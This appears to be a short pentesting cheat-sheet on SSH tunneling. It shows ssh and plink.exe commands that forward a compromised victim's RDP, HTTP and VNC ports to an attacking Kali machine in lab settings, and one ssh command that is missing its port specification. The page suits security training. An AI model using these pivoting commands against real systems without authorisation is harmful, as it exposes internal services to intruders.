# SSH Tunneling

### Normal port forwarding

To forward victim's port 80 to your local port 8181

`ssh -L 8181:127.0.0.1:80 -N victim@10.10.10.111`

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LzoLyb83qrgLVzBgfMJ%2Fuploads%2F7pv3CNDkHWho2REI0cPV%2Ffile.png?alt=media)

### Remote port forwarding

To forward port 80 to victim's machine local port 7777

`ssh -R 7777:127.0.0.1:80 -N victim@10.10.10.111`

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LzoLyb83qrgLVzBgfMJ%2Fuploads%2FFHvgTsc3BH4lNH7oqJeU%2Ffile.png?alt=media)

```bash
#forward port 3389 to kali port 4000
plink.exe 10.11.0.69 -R 4000:127.0.0.1:3389

#forward port 80 to kali port 4001
plink.exe 10.11.0.69 -R 4001:127.0.0.1:80
plink.exe 10.11.0.69 -R 4000:10.1.1.230:3389
```

### Port forward Victim VNC port to Attacking Kali

Victim have port 5901 listening locally

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LzoLyb83qrgLVzBgfMJ%2Fuploads%2FKsE1H2pjqigcanDwdGq7%2Ffile.png?alt=media)

Port forward to kali

```bash
service ssh start 
ssh -L -N charix@10.10.10.84 

# connect to VNC port
vncviewer 127.0.0.1:5902 -passwd secretFile
```

